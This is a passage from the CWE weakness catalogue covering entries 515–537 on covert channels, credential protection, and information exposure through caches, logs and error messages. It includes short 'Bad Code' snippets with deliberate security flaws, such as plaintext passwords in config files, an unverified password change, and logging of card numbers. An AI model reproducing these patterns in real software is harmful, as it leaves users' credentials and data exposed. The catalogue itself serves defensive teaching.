An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

**Potential Mitigations**

**Implementation**

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		514	Covert Channel		699 858 1000
ChildOf		968	SFP Secondary Cluster: Covert Channel		888 1380

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Storage
CLASP	Covert storage channel

## CWE-516: DEPRECATED (Duplicate): Covert Timing Channel

Weakness ID: 516 (Deprecated Weakness Base)

Status: Deprecated

### Description

#### Summary

This weakness can be found at CWE-385.

## CWE-517: Other Intentional, Nonmalicious Weakness

Category ID: 517 (Category)

Status: Incomplete

### Description

#### Summary

Other kinds of intentional but nonmalicious security flaws are possible. Functional requirements that are written without regard to security requirements can lead to such flaws; one of the flaws exploited by the "Internet worm" [3] (case U10) could be placed in this category.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		513	Intentionally Introduced Nonmalicious Weakness	699	857

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Other

## CWE-518: Inadvertently Introduced Weakness

Category ID: 518 (Category)

Status: Incomplete

### Description

#### Summary

The software contains a weakness that was inadvertently introduced by the developer.

#### Extended Description

Inadvertent flaws may occur in requirements; they may also find their way into software during specification and coding. Although many of these are detected and removed through testing, some flaws can remain undetected and later cause problems during operation and maintenance of the software system. For a software system composed of many modules and involving many programmers, flaws are often difficult to find and correct because module interfaces are inadequately documented and global variables are used. The lack of documentation is especially troublesome during maintenance when attempts to fix existing flaws often generate new flaws because maintainers lack understanding of the system as a whole. Although inadvertent flaws do not usually pose an immediate threat to the security of the system, the weakness resulting from a flaw may be exploited by an intruder (see case D1).

### Time of Introduction

- Operation
- Architecture and Design
- Implementation

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		504	Motivation/Intent	699	850
ParentOf		514	Covert Channel	699	858

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Inadvertent

## CWE-519: .NET Environment Issues

Category ID: 519 (Category) Status: Draft**Description****Summary**

This category lists weaknesses related to environmental problems in .NET framework applications.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	3	Technology-specific Environment Issues	<b>699</b>	1
ParentOf	<b>C</b>	10	ASP.NET Environment Issues	<b>699</b>	8
ParentOf	<b>V</b>	520	.NET Misconfiguration: Use of Impersonation	<b>699</b>	861

## CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID: 520 (Weakness Variant) Status: Incomplete**Description****Summary**

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

**Extended Description**

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Common Consequences****Access Control**

Gain privileges / assume identity

**Potential Mitigations****Operation**

Run the application with limited privilege to the underlying operating and file system.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf	<b>B</b>	266	Incorrect Privilege Assignment	<b>1000</b>	471
ChildOf	<b>C</b>	519	.NET Environment Issues	<b>699</b>	860
ChildOf	<b>C</b>	901	SFP Primary Cluster: Privilege	<b>888</b>	1328

**Taxonomy Mappings****Mapped Taxonomy Name**

Anonymous Tool Vendor  
(under NDA)

## CWE-521: Weak Password Requirements

Weakness ID: 521 (Weakness Base) Status: Draft**Description****Summary**

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

### Extended Description

An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Access Control

#### Gain privileges / assume identity

An attacker could easily guess user passwords and gain access user accounts.

### Potential Mitigations

#### Architecture and Design

Enforce usage of strong passwords. A password strength policy should contain the following attributes:

- Minimum and maximum length;
- Require mixed character sets (alpha, numeric, special, mixed case);
- Do not contain user name;
- Expiration;
- No password reuse.

#### Architecture and Design

Authentication mechanisms should always require sufficiently complex passwords and require that they be periodically changed.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		255	Credentials Management	699	453
ChildOf		287	Improper Authentication	1000	507
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf		951	SFP Secondary Cluster: Insecure Authentication Policy	888	1373
ParentOf		258	Empty Password in Configuration File	1000	458
MemberOf		884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Anonymous Tool Vendor (under NDA)			
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
16	Dictionary-based Password Attack	
49	Password Brute Forcing	
55	Rainbow Table Password Cracking	
70	Try Common(default) Usernames and Passwords	
112	Brute Force	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

## CWE-522: Insufficiently Protected Credentials

Weakness ID: 522 (Weakness Base)

Status: Incomplete

## Description

### Summary

This weakness occurs when the application transmits or stores authentication credentials and uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Access Control

#### Gain privileges / assume identity

An attacker could gain access to user accounts and access sensitive data used by the user accounts.

### Demonstrative Examples

#### Example 1:

This code changes a user's password.

#### PHP Example:

*Bad Code*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
    SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

#### Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

#### Java Example:

*Bad Code*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

#### Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

#### Java Example:

*Bad Code*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

#### Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

**C/C++ Example:**

*Bad Code*

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

**Java Example:**

*Bad Code*

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

**Example 5:**

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

**Java Example:**

*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

**ASP.NET Example:**

*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

**Observed Examples**

Reference	Description
CVE-2000-0944	Web application password change utility doesn't check the original password.
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.

**Potential Mitigations**

**Architecture and Design**

Use an appropriate security mechanism to protect the credentials.

**Architecture and Design**

Make appropriate use of cryptography to protect the credentials.



**Implementation**

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		255	Credentials Management	699	453
ChildOf		287	Improper Authentication	1000	507
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	1114
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1358
ChildOf		963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf		256	<i>Plaintext Storage of a Password</i>	699 1000	454
ParentOf		257	<i>Storing Passwords in a Recoverable Format</i>	699 1000	456
ParentOf		260	<i>Password in Configuration File</i>	699 1000	463
ParentOf		523	<i>Unprotected Transport of Credentials</i>	699 1000	865
ParentOf		549	<i>Missing Password Field Masking</i>	1000	887
ParentOf		555	<i>J2EE Misconfiguration: Plaintext Password in Configuration File</i>	1000	892
MemberOf		884	<i>CWE Cross-section</i>	884	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Anonymous Tool Vendor (under NDA)			
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
50	Password Recovery Exploitation	
102	Session Sidejacking	
205	Lifting credential(s)/key material embedded in client distributions (thick or thin)	

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

**CWE-523: Unprotected Transport of Credentials****Weakness ID:** 523 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

Login pages not using adequate measures to protect the user name and password while they are in transit from the client to the server.

**Time of Introduction**

- Architecture and Design

**Common Consequences****Access Control**

Gain privileges / assume identity

## Potential Mitigations

### Operation




#### System Configuration

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

## Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		522	Insufficiently Protected Credentials	<b>699</b> <b>1000</b>	862
ChildOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	<b>928</b>	1358
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
Software Fault Patterns	SFP23	Exposed Data

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
102	Session Sidejacking	

# CWE-524: Information Exposure Through Caching

**Weakness ID:** 524 (*Weakness Variant*)**Status:** Incomplete

## Description

### Summary

The application uses a cache to maintain a pool of objects, threads, connections, pages, or passwords to minimize the time it takes to access them or the resources to which they connect. If implemented improperly, these caches can allow access to unauthorized information or cause a denial of service vulnerability.

## Time of Introduction

- Implementation

## Common Consequences

### Confidentiality

Read application data

## Potential Mitigations

### Architecture and Design

Protect information stored in cache.

### Architecture and Design

Do not store unnecessarily sensitive information in the cache.

### Architecture and Design

Consider using encryption in the cache.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		200	Information Exposure	<b>699</b> <b>1000</b>	384

Nature	Type	ID	Name	▼	Page
ChildOf	<b>C</b>	965	SFP Secondary Cluster: Insecure Session Management	<b>888</b>	1379
ParentOf	<b>V</b>	525	Information Exposure Through Browser Caching	<b>699</b> <b>1000</b>	867

### Taxonomy Mappings

#### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-525: Information Exposure Through Browser Caching

Weakness ID: 525 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

For each web page, the application should have an appropriate caching policy specifying the extent to which the page and its form fields should be cached.

#### Time of Introduction

- Implementation

#### Common Consequences

##### Confidentiality

##### Read application data

Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.

#### Potential Mitigations

##### Architecture and Design

Protect information stored in cache.

##### Architecture and Design

##### Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

##### Architecture and Design

Do not store unnecessarily sensitive information in the cache.

##### Architecture and Design

Consider using encryption in the cache.

#### Relationships

Nature	Type	ID	Name	▼	Page
ChildOf	<b>V</b>	524	Information Exposure Through Caching	<b>699</b> <b>1000</b>	866
ChildOf	<b>C</b>	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	<b>711</b>	1116
ChildOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf	<b>C</b>	966	SFP Secondary Cluster: Other Exposures	<b>888</b>	1379

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Anonymous Tool Vendor (under NDA)			
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
37	Lifting Data Embedded in Client Distributions	

## CWE-526: Information Exposure Through Environmental Variables

Weakness ID: 526 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

Environmental variables may contain sensitive information about a remote server.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Common Consequences

##### Confidentiality

Read application data

#### Potential Mitigations

##### Architecture and Design

Protect information stored in environment variable from being exposed to the user.

#### Relationships

Nature	Type	ID	Name		Page	
ChildOf		200	Information Exposure		699 1000	384
ChildOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management		711	1120
ChildOf		963	SFP Secondary Cluster: Exposed Data		888	1377

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP23	Exposed Data

## CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere

Weakness ID: 527 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The product stores a CVS repository in a directory or other container that is accessible to actors outside of the intended control sphere.

#### Extended Description

Information contained within a CVS subdirectory on a web server or other server could be recovered by an attacker and used for malicious purposes. This information may include usernames, filenames, path root, and IP addresses.

#### Time of Introduction

- Operation

#### Common Consequences

##### Confidentiality

Read application data

Read files or directories

#### Potential Mitigations

##### Operation

##### Distribution

##### System Configuration

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	538	File and Directory Information Exposure	<b>699</b>	877
ChildOf	<b>B</b>	552	Files or Directories Accessible to External Parties	<b>1000</b>	
ChildOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	699	889
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	1000	
ChildOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

## Taxonomy Mappings

## Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere

Weakness ID: 528 (Weakness Variant)

Status: Draft

## Description

## Summary

The product generates a core dump file in a directory that is accessible to actors outside of the intended control sphere.

## Time of Introduction

- Implementation
- Operation

## Common Consequences

## Confidentiality

Read application data

Read files or directories

## Potential Mitigations

## System Configuration

Protect the core dump files from unauthorized access.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	538	File and Directory Information Exposure	<b>699</b>	877
ChildOf	<b>B</b>	552	Files or Directories Accessible to External Parties	<b>1000</b>	
ChildOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	699	889
ChildOf	<b>C</b>	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	1000	
ChildOf	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>711</b>	1120
ChildOf	<b>C</b>	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>	1134
ChildOf	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

## Taxonomy Mappings

## Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

CERT C Secure Coding

MEM06-C

Ensure that sensitive data is not written out to disk

CERT C++ Secure Coding

MEM06-CPP

Ensure that sensitive data is not written out to disk

## CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID: 529 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

#### Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

#### Time of Introduction

- Operation

#### Common Consequences

##### Confidentiality

##### Access Control

##### Read application data

##### Bypass protection mechanism

#### Potential Mitigations

##### System Configuration

Protect access control list files.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	538	File and Directory Information Exposure	699 1000	877
ChildOf	B	552	Files or Directories Accessible to External Parties	699 1000	889
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377

#### Taxonomy Mappings

##### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID: 530 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

A backup file is stored in a directory that is accessible to actors outside of the intended control sphere.

#### Extended Description

Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

#### Time of Introduction

- Implementation
- Operation

#### Common Consequences

**Confidentiality****Read application data**

At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.

**Potential Mitigations****Policy**

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	538	File and Directory Information Exposure	699 1000	877
ChildOf	B	552	Files or Directories Accessible to External Parties	1000	889
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377

**Taxonomy Mappings****Mapped Taxonomy Name**

Anonymous Tool Vendor  
(under NDA)

**CWE-531: Information Exposure Through Test Code****Weakness ID:** 531 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

**Time of Introduction**

- Operation

**Common Consequences****Confidentiality****Read application data****Demonstrative Examples**

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

**Potential Mitigations****Distribution****Installation**

Remove test code before deploying the application into production.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	V	540	Information Exposure Through Source Code	699 1000	879
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1404

**Taxonomy Mappings**



Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
Software Fault Patterns	SFP28	Unexpected access points

## CWE-532: Information Exposure Through Log Files

**Weakness ID:** 532 (*Weakness Variant*)

**Status:** Incomplete

### Description

#### Summary

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

#### Extended Description

While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Common Consequences

##### Confidentiality

##### Read application data

Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples

##### Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

##### Java Example:

*Bad Code*

```
logger.info("Username: " + username + ", CCN: " + ccn);
```

##### Example 2:

This code stores location information about the current user:

##### Java Example:

*Bad Code*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

#### Potential Mitigations

##### Architecture and Design

##### Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

**Operation**

Protect log files against unauthorized read/write.

**Implementation**

Adjust configurations appropriately when software is transitioned from a debug state to production.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	538	File and Directory Information Exposure	699 1000	877
ChildOf	B	552	Files or Directories Accessible to External Parties	699 1000	889
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf	V	533	<i>Information Exposure Through Server Log Files</i>	699 1000	873
ParentOf	V	534	<i>Information Exposure Through Debug Log Files</i>	699 1000	874
ParentOf	V	542	<i>Information Exposure Through Cleanup Log Files</i>	699 1000	881

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT Java Secure Coding Software Fault Patterns	FIO13-J SFP23	Do not log sensitive information outside a trust boundary Exposed Data

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
215	Fuzzing and observing application log data/errors for application mapping	

## CWE-533: Information Exposure Through Server Log Files

**Weakness ID:** 533 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

A server.log file was found. This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.

**Time of Introduction**

- Implementation
- Operation

**Common Consequences****Confidentiality**

Read application data

**Potential Mitigations****Architecture and Design**

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

**System Configuration**

Protect log files against unauthorized read/write.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	V	532	Information Exposure Through Log Files	699 1000	872

Nature	Type	ID	Name	V	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	699	889
ChildOf	C	632	Weaknesses that Affect Files or Directories	631	981
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377

#### Affected Resources

- File/Directory

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT Java Secure Coding Software Fault Patterns	FIO13-J SFP23	Do not log sensitive information outside a trust boundary Exposed Data

## CWE-534: Information Exposure Through Debug Log Files

Weakness ID: 534 (Weakness Variant)

Status: Draft

#### Description

##### Summary

The application does not sufficiently restrict access to a log file that is used for debugging.

#### Time of Introduction

- Operation

#### Common Consequences

##### Confidentiality

Read application data

#### Potential Mitigations

##### Distribution

Remove debug log files before deploying the application into production.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	V	532	Information Exposure Through Log Files	699 1000	872
ChildOf	B	552	Files or Directories Accessible to External Parties	699	889
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
Software Fault Patterns	SFP23	Exposed Data

## CWE-535: Information Exposure Through Shell Error Message

Weakness ID: 535 (Weakness Variant)

Status: Incomplete

#### Description

##### Summary

A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

#### Time of Introduction




- Architecture and Design
- Implementation

### Common Consequences

#### Confidentiality

Read application data

### Relationships

Nature	Type	ID	Name		Page
ChildOf		210	Information Exposure Through Self-generated Error Message		402
				<b>699</b>	
				<b>1000</b>	
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

#### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-536: Information Exposure Through Servlet Runtime Error Message

Weakness ID: 536 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

### Time of Introduction

- Implementation

### Common Consequences

#### Confidentiality

Read application data

The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.

### Demonstrative Examples




The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

#### Java Example:

*Bad Code*

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String username = request.getParameter("username");
    // May cause unchecked NullPointerException.
    if (username.length() < 10) {
        ...
    }
}
```

### Relationships

Nature	Type	ID	Name		Page
ChildOf		210	Information Exposure Through Self-generated Error Message		402
				<b>699</b>	
				<b>1000</b>	
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

#### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

# CWE-537: Information Exposure Through Java Runtime Error Message

Weakness ID: 537 (Weakness Variant)

Status: Incomplete

## Description

### Summary

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Confidentiality

Read application data

### Demonstrative Examples

#### Example 1:

In the following Java example the class `InputFileRead` enables an input file to be read using a `FileReader` object. In the constructor of this class a default input file path is set to some directory on the local file system and the method `setInputFile` must be called to set the name of the input file to be read in the default directory. The method `readInputFile` will create the `FileReader` object and will read the contents of the file. If the method `setInputFile` is not called prior to calling the method `readInputFile` then the `File` object will remain null when initializing the `FileReader` object. A Java `RuntimeException` will be raised, and an error message will be output to the user.

#### Java Example:

Bad Code

```
public class InputFileRead {
    private File readFile = null;
    private FileReader reader = null;
    private String inputFilePath = null;
    private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
    public InputFileRead() {
        inputFilePath = DEFAULT_FILE_PATH;
    }
    public void setInputFile(String inputFile) {
        /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
    }
    public void readInputFile() {
        try {
            reader = new FileReader(readFile);
            ...
        } catch (RuntimeException rex) {
            System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
            System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
        } catch (FileNotFoundException ex) {...}
    }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java `RuntimeExceptions` that are handled should not expose sensitive information to the user.

#### Example 2:

In the example below, the `BankManagerLoginServlet` servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The `doPost` method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the

servlet will raise a `FailedLoginException` and output the failed login message to the error page of the service.

#### Java Example:

*Bad Code*

```
public class BankManagerLoginServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
        IOException {
        try {
            // Get username and password from login page request
            String username = request.getParameter("username");
